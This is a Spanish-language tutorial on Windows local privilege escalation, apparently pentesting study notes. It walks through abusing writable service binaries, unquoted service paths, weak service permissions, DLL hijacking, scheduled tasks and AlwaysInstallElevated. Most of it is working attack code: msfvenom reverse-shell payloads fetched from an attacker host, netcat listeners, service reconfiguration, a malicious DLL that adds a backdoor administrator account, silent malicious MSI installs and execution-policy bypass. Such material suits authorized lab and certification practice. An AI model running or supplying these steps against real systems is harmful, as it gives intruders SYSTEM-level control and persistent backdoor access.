Skip to content

Explotación de Servicios, Tareas Programadas y MSI Elevation

Teoría: Servicios de Windows

Los servicios de Windows son administrados por el Service Control Manager (SCM).

Estructura de un Servicio

BINARY_PATH_NAME   → El ejecutable que se ejecutará
SERVICE_START_NAME → Cuenta de usuario bajo la que corre
DACL               → Permisos sobre quién puede controlarlo
START_TYPE         → Cómo se inicia (Auto, Manual, Disabled)

Ver configuración:

powershell
sc qc nombre_servicio

Ejemplo:

SERVICE_NAME: mysql
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
BINARY_PATH_NAME   : C:\Program Files\MySQL\MySQL Server 8.0\bin\mysqld.exe
SERVICE_START_NAME : .svcuser

Almacenamiento en Registro

HKLM\SYSTEM\CurrentControlSet\Services\<nombre_servicio>

Valores:

  • ImagePath → Binario del servicio
  • ObjectName → Usuario que ejecuta
  • Security → DACL (si existe)

Enumeración de Servicios

powershell
# Todos los servicios
Get-CimInstance -ClassName win32_service | Select Name, State, PathName, StartMode

# Servicios NO en C:\Windows\ (POTENCIALMENTE VULNERABLES)
Get-CimInstance -ClassName win32_service | 
    Where-Object {$_.PathName -notlike 'C:\Windows\*'} | 
    Select Name, PathName, StartName, State

# Servicios como SYSTEM o LocalService
Get-CimInstance -ClassName win32_service | 
    Where-Object {$_.StartName -like "*SYSTEM*" -or $_.StartName -like "*LocalService*"} | 
    Select Name, PathName, StartName

# Detalles específicos
sc qc mysql
sc query mysql

Vector 1: Insecure Permissions on Service Executable

¿Cómo funciona? Si el binario del servicio tiene permisos débiles (Write para Users), reemplázalo con código malicioso. Cuando el servicio se reinicia, se ejecuta como SYSTEM.

Identificar Servicio Vulnerable

powershell
# Listar servicios no en Windows
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Ejemplo vulnerable:
# Splinterware    C:\PROGRA~2\SYSTEM~1\WService.exe

# Verificar permisos del binario
icacls "C:\Program Files\Enterprise\WService.exe"

# Si ves "Everyone:(M)" o "(F)" o "(W)" = VULNERABLE

Explotación Paso a Paso

1. Crear binario malicioso (reverse shell)

bash
# En Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4445 -f exe-service -o rev-svc.exe

# O generar usuario admin
# (compilar C code que ejecute net user newadmin Password123! /add)

2. Transferir al objetivo

powershell
iwr -uri http://192.168.1.100/rev-svc.exe -OutFile rev-svc.exe

3. Reemplazar binario del servicio

powershell
# Respaldar original
cd "C:\Program Files\Enterprise"
move WService.exe WService.exe.bak

# Copiar malicioso
move C:\Users\usuario\rev-svc.exe WService.exe

# Dar permisos completos
icacls WService.exe /grant Everyone:F

4. Listener en Kali

bash
nc -lvp 4445

5. Reiniciar servicio

powershell
sc stop Splinterware
sc start Splinterware

# O si no puedes:
shutdown /r /t 0

6. Recibir shell

Listening on 0.0.0.0 4445
Connection received from 192.168.1.100 50649

C:\Windows\system32>whoami
dominio\svcuser

Vector 2: Unquoted Service Paths

¿Cómo funciona? Si la ruta tiene espacios y NO está entrecomillada, Windows intenta ejecutar múltiples archivos.

Ruta: C:\Program Files\Enterprise Apps\Current Version\Service.exe

Windows intenta:
1. C:\Program.exe
2. C:\Program Files\Enterprise.exe
3. C:\Program Files\Enterprise Apps\Current.exe  ← AQUÍ INYECTAMOS
4. C:\Program Files\Enterprise Apps\Current Version\Service.exe

Identificar

powershell
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Ver sin comillas y con espacios
# disksorter    C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

Verificar Permisos en Directorio

powershell
icacls C:\MyPrograms

# Si ves: Users:(I)(AD)(WD) = Puedes crear archivos

Explotación

1. Crear binario malicioso

bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4446 -f exe-service -o rev-svc2.exe

2. Colocar en ruta que se busca

powershell
# Mover a C:\MyPrograms\Disk.exe (se busca antes que el real)
move rev-svc2.exe "C:\MyPrograms\Disk.exe"

# Dar permisos
icacls "C:\MyPrograms\Disk.exe" /grant Everyone:F

3. Listener

bash
nc -lvp 4446

4. Reiniciar servicio

powershell
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"

5. Recibir shell como svcuser2

whoami
dominio\svcuser2

Vector 3: Insecure Service Permissions (DACL Débil)

¿Cómo funciona? Si el DACL del servicio (no el binario, sino el servicio en sí) permite a usuarios modificar la configuración, reconfigura el servicio para ejecutar cualquier binario como SYSTEM.

Verificar Permisos del Servicio

powershell
# Ver DACL del servicio
accesschk.exe -qlc NombreServicio

# Buscar: SERVICE_ALL_ACCESS en BUILTIN\Users o Everyone = VULNERABLE

Ejemplo vulnerable:

[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
     SERVICE_QUERY_STATUS, SERVICE_QUERY_CONFIG, etc.

[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
     SERVICE_ALL_ACCESS  ← PROBLEMA

Explotación

1. Crear binario malicioso

bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4447 -f exe-service -o rev-svc3.exe

2. Transferir

powershell
iwr -uri http://192.168.1.100/rev-svc3.exe -OutFile C:\Users\usuario\rev-svc3.exe
icacls "C:\Users\usuario\rev-svc3.exe" /grant Everyone:F

3. Reconfigurar el servicio

powershell
# NOTA: Espacios después de = son IMPORTANTES
sc config NombreServicio binPath= "C:\Users\usuario\rev-svc3.exe" obj= LocalSystem

# LocalSystem = máximo privilegio

4. Listener

bash
nc -lvp 4447

5. Reiniciar

powershell
sc stop NombreServicio
sc start NombreServicio

6. Recibir shell como SYSTEM

whoami
nt authority\system

Vector 4: DLL Hijacking

¿Cómo funciona? Colocar DLL maliciosa en directorio de aplicación. Windows busca DLLs en orden específico.

Orden de búsqueda:

  1. Directorio de la aplicación (PRIORIDAD)
  2. Directorio actual
  3. C:\Windows\System32
  4. C:\Windows
  5. Directorios en PATH

Identificar DLL Faltante

Usar Process Monitor (GUI):

  • Filtrar por el proceso
  • Buscar "NAME NOT FOUND" con .dll
  • Anotar qué DLL falta y dónde se busca

O línea de comandos:

powershell
dumpbin.exe /imports "C:\Program Files\App\app.exe" | findstr dll
strings "C:\Program Files\App\app.exe" | findstr \.dll

Crear DLL Maliciosa

c
#include <windows.h>

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch(ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            system("net user newadmin Password123! /add");
            system("net localgroup administrators newadmin /add");
            break;
    }
    return TRUE;
}

Compilar:

bash
x86_64-w64-mingw32-gcc malicious.cpp --shared -o malicious.dll

Explotar

powershell
# Transferir
iwr -uri http://192.168.1.100/malicious.dll -OutFile malicious.dll

# Colocar en directorio de aplicación con nombre que falta
move malicious.dll "C:\Program Files\App\TextShaping.dll"

# Cuando alguien ejecute la aplicación:
# La DLL se carga como ese usuario (frecuentemente admin)

# Verificar
net user newadmin

Enumeración de Tareas Programadas

powershell
# Ver todas
schtasks /query /fo LIST /v

# PowerShell (mejor formato)
Get-ScheduledTask | Select-Object TaskName, State, Actions, Principal

# Tareas como SYSTEM o admin
Get-ScheduledTask | 
    Where-Object {$_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*"} | 
    Select-Object TaskName, Actions, Principal, Triggers

# Detalles específicos
schtasks /query /tn "CacheCleanup" /fo list /v

# Buscar: "Task To Run" (binario), "Run As User" (usuario)

Vector 5: Scheduled Tasks Hijacking

¿Cómo funciona? Si una tarea programada ejecuta un binario que puedes modificar y corre como admin/SYSTEM, reemplázalo.

Explotación

1. Identificar tarea

powershell
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User"

# Ejemplo:
# Task To Run:        C:\Users\admin\Pictures\CacheCleanup.exe
# Run As User:        admin

2. Verificar permisos

powershell
icacls C:\Users\admin\Pictures\CacheCleanup.exe

# Si ves: Users:(F) o (W) = WRITABLE

3. Crear malicioso

bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4448 -f exe -o shell.exe

4. Reemplazar

powershell
iwr -uri http://192.168.1.100/shell.exe -OutFile shell.exe
move shell.exe "C:\Users\admin\Pictures\CacheCleanup.exe"

5. Listener

bash
nc -lvp 4448

6. Esperar ejecución

Las tareas programadas se ejecutan automáticamente a su hora programada. Si la tarea corre cada minuto, espera ~60 segundos.

O fuerza ejecución:

powershell
schtasks /run /tn "CacheCleanup"

7. Recibir shell como admin

whoami
dominio\admin

Vector 6: Always Install Elevated (MSI Exploitation)

Vulnerabilidad: Instaladores MSI se pueden ejecutar con privilegios elevados desde cualquier usuario.

Verificar si está vulnerable

powershell
# Necesitan AMBOS valores = 1

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

# O específicamente:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Si ambas devuelven "0x1" = VULNERABLE
# Si devuelven "not found" = NO vulnerable

Explotación

1. Crear MSI malicioso

bash
# En Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4449 -f msi -o malicious.msi

2. Transferir

powershell
iwr -uri http://192.168.1.100/malicious.msi -OutFile malicious.msi

3. Listener

bash
nc -lvp 4449

4. Ejecutar instalador

powershell
# Sin UAC ni permisos requeridos
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

# Parámetros:
# /quiet = No mostrar interfaz
# /qn = Silencioso
# /i = Instalar

# O con logging
msiexec /i C:\Windows\Temp\malicious.msi /L* log.txt

5. Recibir shell como SYSTEM

whoami
nt authority\system

Vector 7: Búsqueda Automatizada con PowerUp.ps1

PowerUp automatiza la búsqueda de todos estos vectores.

powershell
# Descargar
iwr -uri http://192.168.1.100/PowerUp.ps1 -OutFile PowerUp.ps1

# Bypass
Set-ExecutionPolicy Bypass -Scope process -Force
powershell -ep bypass

# Importar
. .\PowerUp.ps1

# Buscar TODOS los vectores
Invoke-AllChecks

# O búsquedas específicas:
Get-ModifiableServiceFile              # Servicios modificables
Get-UnquotedService                    # Rutas sin comillas
Find-PathHijack                        # DLLs hijackeables
Get-ScheduledTasksWithModifiableFile   # Tareas hijackeables

Resultado típico:

ServiceName : mysql
Path        : C:\Program Files\MySQL\MySQL Server 8.0\bin\mysqld.exe
Modifiable  : True
CanRestart  : False

Manejo de Servicios

powershell
# Ver tipo de inicio
sc qc <service_name> | findstr START_TYPE

# 0 = Boot
# 1 = System
# 2 = Automatic (se inicia al bootear)
# 3 = Manual (no inicia automáticamente)
# 4 = Disabled

# Detener servicio
net stop <service_name>
Stop-Service <service_name>

# Iniciar
net start <service_name>
Start-Service <service_name>

# Estado
Get-Service <service_name>
sc query <service_name>